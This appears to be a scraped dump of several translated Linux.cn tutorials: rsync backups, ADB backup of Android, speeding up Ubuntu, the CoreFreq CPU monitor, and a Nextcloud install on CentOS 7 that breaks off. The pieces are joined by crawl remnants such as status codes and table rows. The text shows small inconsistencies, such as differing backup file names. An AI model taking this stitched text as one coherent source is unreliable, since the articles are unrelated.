下面的命令可以用来同步两个目录及其任意子目录的内容。也就是说,在新目录的内容和源目录同步完之后,它们的内容完全一样。
```
rsync -aH sourcedir targetdir
```
`-a` 选项表示归档模式,它会保持权限、所有关系和符号(软)链接。`-H` 选项用来保持硬链接。注意源目录和目标目录都可以在远程主机上。
假设昨天我们使用 rsync 同步了两个目录。今天我们想再同步一次,但是我们从源目录删除了一些文件。rsync 默认只复制新的和改变过的文件到新目录里,而不去改变新目录里被我们删除的文件,但是如果你想让那些在源目录里被删除的文件在新目录里也被删除,那么你可以加上 `--delete` 选项来删除。
另一个有趣的选项,也是我个人最喜欢的选项是 `--link-dest`,因为它极大地增加了 rsync 的能力和灵活性。`--link-dest` 使每日备份只花费很少的额外空间和很短的时间。
用这个选项指定前一天的备份目录,以及今天的备份目录,然后 rsync 会创建今天的新备份目录,并将昨天备份目录里的每一个文件在今天的备份目录中创建硬链接。现在我们在今天的备份目录中有一大堆指向昨天备份的硬链接。文件没有被重复创建,而是创建了一些硬链接。对于[硬链接](https://en.wikipedia.org/wiki/Hard_link),在 Wikipedia 中有非常详细的描述。而在用昨天的备份目录文件的硬链接创建了今天的备份之后,rsync 和平常一样进行备份,如果在文件中检测到了变化,就不会做硬链接,而是从昨天的备份目录里复制一个文件的副本,再把源文件中变化的部分复制过去。(LCTT 译注:此处疑似原文表述不清,参见 `generator.c` 的 `try_dests_reg` 函数,先根据 `match_level` 选择复制或者硬链接,而不是创建硬链接后再判断 `match_level`)
现在我们的命令类似于下面这样。
```
rsync -aH --delete --link-dest=yesterdaystargetdir sourcedir todaystargetdir
```
你也可能想要排除一些不想要备份的目录或者文件。那么就可以使用 `--exclude` 选项。用这个选项加上你想排除文件或目录的模式。你可以用下面的新命令来排除浏览器的缓存。
```
rsync -aH --delete --exclude Cache --link-dest=yesterdaystargetdir sourcedir todaystargetdir
```
注意:你想排除的每一个文件的模式前面都分别需要加上 `--exclude` 选项。
rsync 可以同步远程主机,无论是作为同步源头还是目标。再举一个例子,我们假设想要把名为 remote1 的远程主机的目录同步到本地。因为 ssh 作为与远程主机交换数据的默认协议,我一直使用 ssh 选项。现在命令类似于下面这样。
```
rsync -aH -e ssh --delete --exclude Cache --link-dest=yesterdaystargetdir remote1:sourcedir todaystargetdir
```
这就是我的 rsync 备份命令的最终版本。
你可以依靠 rsync 的大量选项来定制你的同步过程。大多数情况而言,我刚刚描述的简单命令就足以胜任我的个人需要。你可以阅读 rsync 丰富的文档来了解它的其他能力。
### 部署备份
我的备份自动运行因为—“万物皆可自动化”。我写了一个 BASH 脚本使用 rsync 创建每天的备份。包括确保备份介质被挂载,生成每天的备份目录的名字,以及在备份介质中创建合适的目录结构,最后执行真正的备份再卸载备份介质。
我用 cron 每天早晨执行脚本确保我永远不会忘记备份。
我的脚本 rsbu 和配置文件 rsbu.conf 可以在 [GitHub](https://github.com/opensourceway/rsync-backup-script) 上获取。
### 恢复测试
所有没有经过测试的备份计划都不完整的。你可以通过测试恢复某个文件或者整个目录,以确保备份在照常工作并且可以通过它来在数据全部丢失后恢复。我见过太多备份由于种种理由失败,以及由于缺乏测试忽略的问题导致宝贵的数据被丢失。
选择一个文件恢复到比如 `/tmp` 的测试目录,这样你就不会覆盖任何备份后被更新的文件。验证文件的内容是否是你预期的。恢复用 rsync 备份的文件仅仅只是找到你的备份文件然后把它复制到你想恢复的地方去那样简单。
我有几次不得不恢复我的个人文件,偶尔是整个目录。大多数是自己意外删除了文件或者目录。有几次是因为硬盘崩溃。这些备份迟早会派上用场。
### 最后一步
但仅仅创建备份并不能拯救你的业务,你需要定期的地创建备份,使最近的一次备份储存在另一台远程机器上,如果有可能,放在另外一个建筑物中或几英里之外。这样可以确保大规模的灾难不会摧毁你的所有备份。
对于小型企业的一个合理选择是在可移动介质上做每日备份,晚上把最新的备份带回家里,第二天早上把更早的备份带到办公室。你就会有几个轮流的拷贝。甚至可以把最新的备份带到银行并放到你的保管箱里,然后带回之前的备份。
---
作者简介:
David Both - 他居住在北卡罗来纳州的罗列,是 Linux 和开源提倡者。他已经从事 IT 行业 40 多年。在 IBM 教授了二十多年 OS/2。在 IBM 的时候,他在 1981 年为最初的 IBM 个人电脑编写了第一门培训课程。他为红帽教授 RHCE 课程,并曾在世通公司、思科、北卡罗来纳州政府工作。他使用 Linux 和开源软件已经有二十年左右了。
---
via: <https://opensource.com/article/17/1/rsync-backup-linux>
作者:[David Both](https://opensource.com/users/dboth) 译者:[trnhoe](https://github.com/trnhoe) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | Backups are an incredibly important aspect of a system administrator’s job. Without good backups and a well-planned backup policy and process, it is a near certainty that sooner or later some critical data will be irretrievably lost.
All companies, regardless of how large or small, run on their data. Consider the financial and business cost of losing all of the data you need to run your business. There is not a business today ranging from the smallest sole proprietorship to the largest global corporation that could survive the loss of all or even a large fraction of its data. Your place of business can be rebuilt using insurance, but your data can never be rebuilt.
By loss, here, I don't mean stolen data; that is an entirely different type of disaster. What I mean here is the complete destruction of the data.
Even if you are an individual and not running a large corporation, backing up your data is very important. I have two decades of personal financial data as well as that for my now closed businesses, including a large number of electronic receipts. I also have many documents, presentations, and spreadsheets of various types that I have created over the years. I really don't want to lose all of that.
So backups are imperative to ensure the long-term safety of my data.
## Backup options
There are many options for performing backups. Most Linux distributions are provided with one or more open source programs specially designed to perform backups. There are many commercial options available as well. But none of those directly met my needs so I decided to use basic Linux tools to do the job.
In my article for the Open Source Yearbook last year, [Best Couple of 2015: tar and ssh](https://opensource.com/business/15/12/best-couple-2015-tar-and-ssh), I showed that fancy and expensive backup programs are not really necessary to design and implement a viable backup program.
Since last year, I have been experimenting with another backup option, the [ rsync](https://en.wikipedia.org/wiki/Rsync) command which has some very interesting features that I have been able to use to good advantage. My primary objectives were to create backups from which users could locate and restore files without having to untar a backup tarball, and to reduce the amount of time taken to create the backups.
This article is intended only to describe my own use of rsync in a backup scenario. It is not a look at all of the capabilities of rsync or the many ways in which it can be used.
## The rsync command
The rsync command was written by Andrew Tridgell and Paul Mackerras and first released in 1996. The primary intention for rsync is to remotely synchronize the files on one computer with those on another. Did you notice what they did to create the name there? rsync is open source software and is provided with almost all major distributions.
The rsync command can be used to synchronize two directories or directory trees whether they are on the same computer or on different computers but it can do so much more than that. rsync creates or updates the target directory to be identical to the source directory. The target directory is freely accessible by all the usual Linux tools because it is not stored in a tarball or zip file or any other archival file type; it is just a regular directory with regular files that can be navigated by regular users using basic Linux tools. This meets one of my primary objectives.
One of the most important features of rsync is the method it uses to synchronize preexisting files that have changed in the source directory. Rather than copying the entire file from the source, it uses checksums to compare blocks of the source and target files. If all of the blocks in the two files are the same, no data is transferred. If the data differs, only the block that has changed on the source is transferred to the target. This saves an immense amount of time and network bandwidth for remote sync. For example, when I first used my rsync Bash script to back up all of my hosts to a large external USB hard drive, it took about three hours. That is because all of the data had to be transferred. Subsequent syncs took 3-8 minutes of real time, depending upon how many files had been changed or created since the previous sync. I used the time command to determine this so it is empirical data. Last night, for example, it took just over three minutes to complete a sync of approximately 750GB of data from six remote systems and the local workstation. Of course, only a few hundred megabytes of data were actually altered during the day and needed to be synchronized.
The following simple rsync command can be used to synchronize the contents of two directories and any of their subdirectories. That is, the contents of the target directory are synchronized with the contents of the source directory so that at the end of the sync, the target directory is identical to the source directory.
`rsync `
`-aH sourcedir targetdir`
The **-a** option is for archive mode which preserves permissions, ownerships and symbolic (soft) links. The -H is used to preserve hard links. Note that either the source or target directories can be on a remote host.
Now let's assume that yesterday we used rsync to synchronized two directories. Today we want to resync them, but we have deleted some files from the source directory. The normal way in which rsync would do this is to simply copy all the new or changed files to the target location and leave the deleted files in place on the target. This may be the behavior you want, but if you would prefer that files deleted from the source also be deleted from the target, you can add the **--delete** option to make that happen.
Another interesting option, and my personal favorite because it increases the power and flexibility of rsync immensely, is the **--link-dest** option. The **--link-dest** option allows a series of daily backups that take up very little additional space for each day and also take very little time to create.
Specify the previous day's target directory with this option and a new directory for today. rsync then creates today's new directory and a hard link for each file in yesterday's directory is created in today's directory. So we now have a bunch of hard links to yesterday's files in today's directory. No new files have been created or duplicated. Just a bunch of hard links have been created. Wikipedia has a very good description of [hard links](https://en.wikipedia.org/wiki/Hard_link). After creating the target directory for today with this set of hard links to yesterday's target directory, rsync performs its sync as usual, but when a change is detected in a file, the target hard link is replaced by a copy of the file from yesterday and the changes to the file are then copied from the source to the target.
So now our command looks like the following.
`rsync `
`-aH --delete --link-dest=yesterdaystargetdir sourcedir todaystargetdir`
There are also times when it is desirable to exclude certain directories or files from being synchronized. For this, there is the **--exclude** option. Use this option and the pattern for the files or directories you want to exclude. You might want to exclude browser cache files so your new command will look like this.
`rsync -aH --delete --exclude Cache --link-dest=yesterdaystargetdir sourcedir todaystargetdir`
Note that each file pattern you want to exclude must have a separate exclude option.
rsync can sync files with remote hosts as either the source or the target. For the next example, let's assume that the source directory is on a remote computer with the hostname remote1 and the target directory is on the local host. Even though SSH is the default communications protocol used when transferring data to or from a remote host, I always add the ssh option. The command now looks like this.
`rsync -aH -e ssh --delete --exclude Cache --link-dest=yesterdaystargetdir remote1:sourcedir todaystargetdir`
This is the final form of my rsync backup command.
rsync has a very large number of options that you can use to customize the synchronization process. For the most part, the relatively simple commands that I have described here are perfect for making backups for my personal needs. Be sure to read the extensive man page for rsync to learn about more of its capabilities as well as the options discussed here.
## Performing backups
I automated my backups because – “automate everything.” I wrote a BASH script that handles the details of creating a series of daily backups using rsync. This includes ensuring that the backup medium is mounted, generating the names for yesterday and today's backup directories, creating appropriate directory structures on the backup medium if they are not already there, performing the actual backups and unmounting the medium.
I run the script daily, early every morning, as a cron job to ensure that I never forget to perform my backups.
My script, rsbu, and its configuration file, rsbu.conf, are available at [https://github.com/opensourceway/rsync-backup-script](https://github.com/opensourceway/rsync-backup-script)
## Recovery testing
No backup regimen would be complete without testing. You should regularly test recovery of random files or entire directory structures to ensure not only that the backups are working, but that the data in the backups can be recovered for use after a disaster. I have seen too many instances where a backup could not be restored for one reason or another and valuable data was lost because the lack of testing prevented discovery of the problem.
Just select a file or directory to test and restore it to a test location such as /tmp so that you won't overwrite a file that may have been updated since the backup was performed. Verify that the files' contents are as you expect them to be. Restoring files from a backup made using the rsync commands above simply a matter of finding the file you want to restore from the backup and then copying it to the location you want to restore it to.
I have had a few circumstances where I have had to restore individual files and, occasionally, a complete directory structure. Most of the time this has been self-inflicted when I accidentally deleted a file or directory. At least a few times it has been due to a crashed hard drive. So those backups do come in handy.
## The last step
But just creating the backups will not save your business. You need to make regular backups and keep the most recent copies at a remote location, that is not in the same building or even within a few miles of your business location, if at all possible. This helps to ensure that a large-scale disaster does not destroy all of your backups.
A reasonable option for most small businesses is to make daily backups on removable media and take the latest copy home at night. The next morning, take an older backup back to the office. You should have several rotating copies of your backups. Even better would be to take the latest backup to the bank and place it in your safe deposit box, then return with the backup from the day before.
## 21 Comments |
8,239 | 如何在 Ubuntu 上使用 ADB 备份 Android 数据 | https://www.maketecheasier.com/back-up-android-data-adb-ubuntu/ | 2017-02-25T14:33:00 | [
"Android",
"备份",
"ADB"
] | https://linux.cn/article-8239-1.html | 
备份 Android 系统上的应用数据、文本信息等等是非常乏味的,有时还很昂贵。电子市场的许多应用都承诺可以备份数据,但效果不佳或者需要付昂贵费用。你是否知道有一种更好的方法可以来做这件事,并且在你的电脑上就可以完成?
Android 自带一套开发工具。有许多种开发工具,但人们最为感兴趣的项目是 ADB(或者叫做 <ruby> Android 调试桥 <rt> Android Debug Bridge </rt></ruby>)。它允许用户通过命令行直接访问任何 Android 设备。有了这个工具,一切皆有可能 - 包括备份整个 Android 设备。在这篇文章中,将讨论如何在 Ubuntu 系统上完成这件事。
**注**:这篇教程是针对 Ubuntu Linux 系统的。不过, ADB 在 Windows 系统和 Mac 上也是可用的,也可以在这些平台上对 Android 数据进行备份。[下载针对 Windows 和 Mac 的 ADB 版本。](https://developer.android.com/studio/command-line/adb.html)
### 安装 ADB 并启用 USB 调试
打开一个终端窗口,然后输入下面的命令来安装 ADB,它将与 Android 进行会话。
```
sudo apt install adb
```

在系统上安装好 ADB 工具以后,需要在 Android 内部启动调试。首先打开 Android 的<ruby> 设置 <rt> Settings </rt></ruby>区域。然后一直滚动到底部找到“<ruby> 关于手机 <rt> About Phone </rt></ruby>”并点击。这将打开“<ruby> 电话状态 <rt> Phone status </rt></ruby>”页。在这一页面上再次滚动到底部,找到“<ruby> 版本号 <rt> Build number </rt></ruby>”并点击七次,从而启动开发者模式。

为了进入<ruby> 开发者设置 <rt> Developer Settings </rt></ruby>,按设备上的返回键返回上一页面。在“设置”中将会出现一个新的选项:“<ruby> 开发者选项 <rt> Developer options </rt></ruby>”。点击它进入开发者设置区域。滚动页面直到看到 “<ruby> Android 调试 <rt> Android debugging </rt></ruby>”(或它的一些其他名称),点击它启用设置。
### 备份
使用 ADB 创建一个备份就如同运行一个命令一样简单。首先,用一根与 Android 设备匹配的 USB 线将 Android 设备连接到电脑上。然后打开终端运行下面的命令:
```
adb start-server
```
这将启动 ADB 服务器。运行这个命令时,要快速解锁 Android 设备,因为 ADB 将强制出现一个确认窗口,必须选择接受后才可继续。

要启动备份进程,打开终端,然后执行下面的备份命令。该命令将读取 Android 上的文本信息以及其他应用数据,然后存入加密文件中。
```
adb backup -apk -shared -all -f backup-file.adb
```

当运行备份命令时,Android 会在启动备份进程前提示用户查看 Android 并设置加密文件的密码。请输入一个强壮而容易记住的密码。然后,点击“备份我的数据”按钮。备份过程将会花费一定时间。备份完成以后,在目录 `/home/username/` 中会出现一个叫做 `backup-file.adb` 的文件。
### 恢复备份
要恢复备份,首先启用 ADB 服务器(像上面提到的一样),然后运行下面这个命令来还原备份数据:
```
adb restore backup-file.adb
```

再次转到 Android, 因为 ADB 将提示用户输入密码。这次,不是创建一个密码,而是需要输入之前创建的那个密码。在点击 “<ruby> 恢复我的数据 <rt> restore my data </rt></ruby>” 以后,恢复进程就开始了。耐心点,因为这可能需要一定时间。
### 结论
没有多少 Android 用户知道这样备份数据,但是 ADB 的确很强大。利用它甚至可以获得对设备的 root 访问。事实上,利用这个工具还可以做很多的事情,需要更多的文章来讨论它。
你还知道 ADB 可以用来干什么吗?请在下面的评论区告知我们!
---
via: <https://www.maketecheasier.com/back-up-android-data-adb-ubuntu/>
作者:[Derrik Diener](https://www.maketecheasier.com/author/derrikdiener/) 译者:[ucasFL](https://github.com/ucasFL) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | 
Backing up app data, text messages and the like in Android can be incredibly tedious, and sometimes costly too. Many apps on the Play Store promise to back up your data but are hit and miss or cost an arm and a leg. Did you know that there’s a better way to do this and that it can all be done on your computer?
Android comes with a set of development tools. There are many, but the main item of interest is known as ADB (or Android Debug Bridge). It allows a user to gain direct command-line access to any Android device. With this tool anything is possible – including backing up an entire Android device! Here’s how to do it on Ubuntu.
**Note**: this tutorial is done with a focus on Ubuntu Linux. However, ADB is available on Windows and macOS, and the backup process can be on those platforms as well. [Download for windows and Mac](https://developer.android.com/studio/command-line/adb.html).
## Installing ADB and Enabling USB Debugging
Open a terminal window and enter this command to install the ADB tool that will interact with Android.
sudo apt install adb

With the ADB tool installed on the system, debugging will need to be enabled inside of Android. Start by opening the Settings area of Android. Scroll all the way to the bottom to find “About Phone” and select it. This opens a “Phone status” page. On this page scroll to the bottom again, find “Build number’ and tap on it seven times. This will enable Developer Mode.

To get to Developer Settings, press the Back button on the device to go back a page. A new option in settings will appear: “Developer options.” Tap on it to enter the developer settings area. Scroll through till you see “Android debugging” (or some variation of it), and tap it to enable the setting.
## Backing Up
Creating a backup with ADB is as simple as running one command. First, take the USB cable that corresponds with the Android device, and plug it into the PC. Then, go to a terminal and enter the following:
adb start-server
This will start the Android Debugging Bridge server. With this command running, quickly unlock the Android device, as ADB will force a confirmation window that must be accepted to continue.

To start the backup process, go to the terminal and enter this backup command. It’ll take text messages and other bits of app data, and store it into an encrypted file.
adb backup -apk -shared -all -f backup-file.adb

Running the backup command will prompt the user to look at Android and set a password for the file before Android will run the backup procedure. Enter a strong, memorable password. Then, select the “back up my data” button. The backup may take some time, but when it is finished, a file named “backup-file.ab” will be in “/home/username/.”
## Restoring
To restore the backup, enable the ADB server (like mentioned above) and run this command to restore the data.
adb restore backup-file.ab

Once again, go to Android, as ADB will prompt the user to enter a password. This time, instead of creating a password, all that is required is entering the one created from earlier. After that select “restore my data,” and the restoration process will begin. Be patient, as this may take a bit of time.
## Conclusion
Not many Android users know this, but ADB is incredibly powerful. It can be used for more than gaining root access on a device. In fact, there are so many things that can be done with this tool, it’d take more than one article to cover all of it!
What tricks do you know with ADB? Let us know below!
Our latest tutorials delivered straight to your inbox |
8,240 | 加速老旧 Ubuntu 系统的技巧 | http://www.linuxandubuntu.com/home/tips-to-improve-ubuntu-speed | 2017-02-26T18:56:38 | [
"Ubuntu",
"优化",
"加速"
] | https://linux.cn/article-8240-1.html | 
你的 Ubuntu 系统可以运行得如此顺畅,以至于你会奇怪为什么没有早一些从那些桌面加载很慢的操作系统(比如 Windows)转过来。Ubuntu 在大多数现代化的机器上都能够很顺畅的运行,一些更老的机器使用 Ubuntu 系统的一些变种版本,比如 Lubuntu、Xubuntu 和 [Ubuntu MATE](http://www.linuxandubuntu.com/home/linuxandubuntu-distro-review-of-the-week-ubuntu-mate-1610),同样给人留下了深刻印象。极少的情况下,你对 Ubuntu 桌面的使用体验会越来越糟。如果非常不走运,你的 Ubuntu 系统并没有像你所希望的那样运行顺畅,那么你可以做一些事情来提高系统性能和响应速度。
不过首先我们来看一看为什么电脑会运行得很慢?下面是我列举的一些原因:
1. 电脑陈旧
2. 安装了太多的应用
3. 系统里的一些东西坏了
4. 还有更多的原因...
现在让我们来看一些改善这个问题的技巧。
### 1、 <ruby> 交换值 <rt> Swappiness </rt></ruby>
如果你的系统有一个交换分区,那么这个技巧对你是最适合的(注:交换分区不建议为固态驱动器,因为这样会缩短驱动器的使用寿命)。交换分区可以帮助系统,特别是内存容量较低的系统,来管理系统内存。将数据写入交换分区(硬盘)比写入内存要慢一些,所以你可以通过减少 `swappiness` 值来限制数据写入交换分区的频率。默认情况下, Ubuntu 的 `swappiness` 值是 60%, 所以你可以通过下面的命令将它减至 10%:
```
sudo bash -c "echo 'vm.swappiness = 10' >> /etc/sysctl.conf"
```
### 2、 停止索引
索引的目的是加快搜索结果,但另一方面,索引会导致较老配置的系统出现一些问题。为了停止索引,输入下面的命令来移除索引工具:
```
sudo apt-get purge apt-xapian-index
```
### 3、 管理<ruby> 启动应用 <rt> startup applications </rt></ruby>
启动应用会对系统性能造成很大的影响。当你安装一些应用以后,这些应用会添加启动项,从而当你启动系统的时候它们也跟着启动,但你可以移除这些应用以提高系统性能。通过在 Unity 窗口搜索打开 “启动应用”。绝大多数自启动选项都会被隐藏,所以在终端输入下面的命令使它们可见然后你就可以停止某些 “启动应用”了:
```
sudo sed -i "s/NoDisplay=true/NoDisplay=false/g" /etc/xdg/autostart/\*.desktop
```

### 4、 尝试预载入
预载入(`preload`) 是一个守护进程/后台服务,它可以监控系统上使用的应用程序,它会将所需要的二进制库在其需要加载到内存前就预先载入,以便应用程序启动得更快。在终端输入下面的命令安装预载入:
```
sudo apt-get install preload
```
### 5、 选择更加轻量型的应用
你在 Ubuntu 桌面上使用什么应用程序呢?有更轻量的替代品吗?如果有,就替换成它们——如果它们也能满足你的需求的话。 LibreOffice 能够给你最好的办公体验,但是它的替代品,比如 Abiword 能够很大程度的改善系统性能。
### 6、 切换到一个更加轻量型的桌面环境
你在 Ubuntu 系统上使用的桌面环境是 Unity 或 KDE 吗?这些桌面环境对系统的要求很高。相反,你可以在当前桌面环境之外同时安装一个 LxQt 或者 XFCE 环境,然后切换到它们。或者,你也可以换到 Ubuntu 的不同变种版本,比如 Lubuntu 或 Xubuntu ,从而享受更快的体验。
### 7、 清理系统垃圾
尽管 Ubuntu 系统不会变得像 Windows 系统那么慢,但它还是会变慢。清除系统里不需要的文件可以改善系统性能。尝试使用 Ubuntu Tweak 工具中的 Janitor 工具来清理系统。还有一个 Bleachbit 工具也可用来清理系统。
同时请阅读 - [Bleachbit - CCleaner 的一个替代品](http://www.linuxandubuntu.com/home/bleachbit-an-alternative-to-ccleaner-on-linux)
### 8、 尝试重新安装
有时,一些东西可能坏了,清理垃圾或者使用上面提到的大多数技巧都没用。这时,你唯一的选择就是备份文件,然后尝试重新安装。
### 9、 升级硬件
我列表上的最后一个技巧是升级硬件。在绝大多数情况下,这是可以的。如果可以这样做,那将极大的提高系统性能。你可以增加已安装的内存, 从传统磁盘切换到固态驱动器或者升级你的处理器,特别是如果你在台式电脑上运行 Ubuntu 系统,这将极大提高系统性能。
### 结论
我希望这些技巧能够陪伴你走很长的一段路,让你的 Ubuntu 桌面以一个**令人印象深刻的速度**运行。注意,你不需要尝试所有的技巧,只需要找到一个适合你的情况的技巧,然后观察系统响应如何变化。你还知道其他提高 Ubuntu 系统性能的技巧吗?请在评论里分享给我们。
---
via: <http://www.linuxandubuntu.com/home/tips-to-improve-ubuntu-speed>
作者:[linuxandubuntu.com](http://www.linuxandubuntu.com/home/tips-to-improve-ubuntu-speed) 译者:[ucasFL](https://github.com/ucasFL) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,241 | CoreFreq:一款强大的监控 CPU 的专业工具 | http://www.tecmint.com/corefreq-linux-cpu-monitoring-tool/ | 2017-02-26T19:43:07 | [
"CoreFreq",
"CPU",
"监控"
] | https://linux.cn/article-8241-1.html | CoreFreq 是一个用于英特尔 64 位处理器的 [CPU 监控程序](http://www.tecmint.com/bcc-best-linux-performance-monitoring-tools/),并且支持 Atom、Core2、Nehalem、SandyBridge 及以上、还有 AMD 0F 家族。

它的核心建立在内核模块上,用于从每个 CPU 核心检索内部性能计数器,并且与收集数据的守护进程一起工作,一个小型控制台客户端连接到该守护程序并显示收集的数据。

它提供了高精度的重新捕获 CPU 数据的基础工作:
1. 核心频率和比率;SpeedStep(EIST)、Turbo Boost、超线程(HTT)以及<ruby> 基本时钟 <rp> ( </rp> <rt> Base Clock </rt> <rp> ) </rp></ruby>。
2. 性能计数器结合<ruby> 时间戳计数器 <rp> ( </rp> <rt> Time Stamp Counter </rt> <rp> ) </rp></ruby>(TSC)、<ruby> 非停机核心周期 <rp> ( </rp> <rt> Unhalted Core Cycles </rt> <rp> ) </rp></ruby>(UCC)、<ruby> 非停机引用周期 <rp> ( </rp> <rt> Unhalted Reference Cycles </rt> <rp> ) </rp></ruby>(URC)。
3. 每周期或每秒的指令数:IPS、IPC 或 CPI。
4. CPU C 状态: C0 C1 C3 C6 C7 - C1E - C1、C3 的自动/<ruby> 非降级 <rp> ( </rp> <rt> UnDemotion </rt> <rp> ) </rp></ruby>。
5. 带有 Tjunction Max 的 DTS 温度、<ruby> 热监测 <rp> ( </rp> <rt> Thermal Monitoring </rt> <rp> ) </rp></ruby> TM1、TM2 状态。
6. 包括用于自举的高速缓存和应用程序 CPU 拓扑图。
7. 处理器特性、品牌、架构字符串。
注意:此工具更适用于 Linux 专家用户和经验丰富的系统管理员,但新手用户可以逐步学习如何使用它。
### CoreFreq 如何工作
它通过调用一个 Linux 内核模块实现,它使用了:
1. 汇编代码保持尽可能接近性能计数器读数。
2. 按每个 CPU 影响的 slab 数据内存加上高分辨率定时器。
3. 支持 CPU 暂停/恢复和 CPU 热插拔。
4. 使用共享内存来保护内核免受来自用户空间程序的损害。
5. 使用原子级同步的线程来消除互斥和死锁。
### 如何在 Linux 中安装 CoreFreq
要安装 CoreFreq,你首先需要安装依赖程序(开发工具)来编译并从源码构建程序。
```
$ sudo yum group install 'Development Tools' [On CentOS/RHEL]
$ sudo dnf group install 'Development Tools' [On Fedora 22+ Versions]
# sudo apt-get install dkms git libpthread-stubs0-dev [On Debian/Ubuntu]
```
接下来克隆 Github 上 CoreFreq 源码,进入下载文件夹并编译构建程序:
```
$ git clone https://github.com/cyring/CoreFreq.git
$ cd CoreFreq
$ make
```

*构建 CoreFreq 程序*
注意:Arch Linux 用户可以从 AUR 中安装 [corefreq-git](https://aur.archlinux.org/packages/corefreq-git)。
现在运行以下命令从本地目录加载 Linux 内核模块,接着运行守护程序:
```
$ sudo insmod corefreqk.ko
$ sudo ./corefreqd
```
接着使用普通用户启动客户端。
```
$ ./corefreq-cli
```

*CoreFreq Linux CPU 监控*
在上面的界面中,你可以使用这些快捷键:
1. 使用 `F2` 显示屏幕顶部显示的使用菜单。
2. 使用 `右` 和 `左` 箭头移动菜单选项卡。
3. 使用 `上`和 `下` 箭头选择菜单项,然后单击回车。
4. 使用 `F4` 关闭程序。
5. 使用 `h` 打开快速参考。
要查看所有的使用选项,请输入以下命令:
```
$ ./corefreq-cli -h
```
CoreFreq 选项:
```
CoreFreq. Copyright (C) 2015-2017 CYRIL INGENIERIE
usage: corefreq-cli [-option <arguments>]
-t Show Top (default)
-d Show Dashboard
arguments: <left> <top> <marginWidth> <marginHeight>
-c Monitor Counters
-i Monitor Instructions
-s Print System Information
-M Print Memory Controller
-m Print Topology
-u Print CPUID
-k Print Kernel
-h Print out this message
Exit status:
0 if OK,
1 if problems,
>1 if serious trouble.
Report bugs to labs[at]cyring.fr
```
要打印内核的信息,运行:
```
$ ./corefreq-cli -k
```
打印 CPU 细节信息:
```
$ ./corefreq-cli -u
```
你也可以实时监控 CPU 指令:
```
$ ./corefreq-cli -i
```
如下启用计数器追踪:
```
$ ./corefreq-cli -c
```
有关更多信息和用法,请访问 CoreFreq 的 Github 仓库:<https://github.com/cyring/CoreFreq> 。
在本文中,我们评估了一个强大的 CPU 监控工具,这对于 Linux 专家或经验丰富的系统管理员来说可能比新手用户更有用。
通过下面的评论栏与我们分享你对这个工具或任何相关的想法。
---
作者简介:
Aaron Kili 是 Linux 和 F.O.S.S 爱好者,将来的 Linux 系统管理员和网络开发人员,目前是 TecMint 的内容创作者,他喜欢用电脑工作,并坚信分享知识。
---
via: <http://www.tecmint.com/corefreq-linux-cpu-monitoring-tool/>
作者:[Aaron Kili](http://www.tecmint.com/author/aaronkili/) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,242 | 如何在 CentOS 7 中使用 Nginx 和 PHP7-FPM 安装 Nextcloud | https://www.howtoforge.com/tutorial/how-to-install-nextcloud-with-nginx-and-php-fpm-on-centos-7/ | 2017-02-27T11:51:20 | [
"Nextcloud",
"ownCloud"
] | https://linux.cn/article-8242-1.html | Nextcloud 是一款自由 (开源) 的类 Dropbox 软件,由 ownCloud 分支演化形成。它使用 PHP 和 JavaScript 编写,支持多种数据库系统,比如 MySQL/MariaDB、PostgreSQL、Oracle 数据库和 SQLite。它可以使你的桌面系统和云服务器中的文件保持同步,Nextcloud 为 Windows、Linux、Mac、安卓以及苹果手机都提供了客户端支持。Nextcloud 并非只是 Dropbox 的克隆,它还提供了很多附加特性,如日历、联系人、计划任务以及流媒体 Ampache。
在这篇文章中,我将向你展示如何在 CentOS 7 服务器中安装和配置最新版本的 Nextcloud 10。我会通过 Nginx 和 PHP7-FPM 来运行 Nextcloud,同时使用 MariaDB 做为数据库系统。

**先决条件**
* 64 位的 CentOS 7
* 服务器的 Root 权限
### 步骤 1 - 在 CentOS 7 中安装 Nginx 和 PHP7-FPM
在开始安装 Nginx 和 php7-fpm 之前,我们还学要先添加 EPEL 包的仓库源。使用如下命令:
```
yum -y install epel-release
```
现在开始从 EPEL 仓库来安装 Nginx:
```
yum -y install nginx
```
然后我们还需要为 php7-fpm 添加另外一个仓库。互联网中有很个远程仓库提供了 PHP 7 系列包,我在这里使用的是 webtatic。
添加 PHP7-FPM webtatic 仓库:
```
rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm
```
然后就是安装 PHP7-FPM 以及 Nextcloud 需要的一些包。
```
yum -y install php70w-fpm php70w-cli php70w-gd php70w-mcrypt php70w-mysql php70w-pear php70w-xml php70w-mbstring php70w-pdo php70w-json php70w-pecl-apcu php70w-pecl-apcu-devel
```
最后,从服务器终端里查看 PHP 的版本号,以便验证 PHP 是否正确安装。
```
php -v
```

### 步骤 2 - 配置 PHP7-FPM
在这一个步骤中,我们将配置 php-fpm 与 Nginx 协同运行。Php7-fpm 将使用 `nginx` 用户来运行,并监听 `9000` 端口。
使用 vim 编辑默认的 php7-fpm 配置文件。
```
vim /etc/php-fpm.d/www.conf
```
在第 8 行和第 10行,`user` 和 `group` 赋值为 `nginx`。
```
user = nginx
group = nginx
```
在第 22 行,确保 php-fpm 运行在指定端口。
```
listen = 127.0.0.1:9000
```
取消第 366-370 行的注释,启用 php-fpm 的系统环境变量。
```
env[HOSTNAME] = $HOSTNAME
env[PATH] = /usr/local/bin:/usr/bin:/bin
env[TMP] = /tmp
env[TMPDIR] = /tmp
env[TEMP] = /tmp
```
保存文件并退出 vim 编辑器。
下一步,就是在 `/var/lib/` 目录下创建一个新的文件夹 `session`,并将其拥有者变更为 `nginx` 用户。
```
mkdir -p /var/lib/php/session
chown nginx:nginx -R /var/lib/php/session/
```
然后启动 php-fpm 和 Nginx,并且将它们设置为随开机启动的服务。
```
sudo systemctl start php-fpm
sudo systemctl start nginx
sudo systemctl enable php-fpm
sudo systemctl enable nginx
```

PHP7-FPM 配置完成
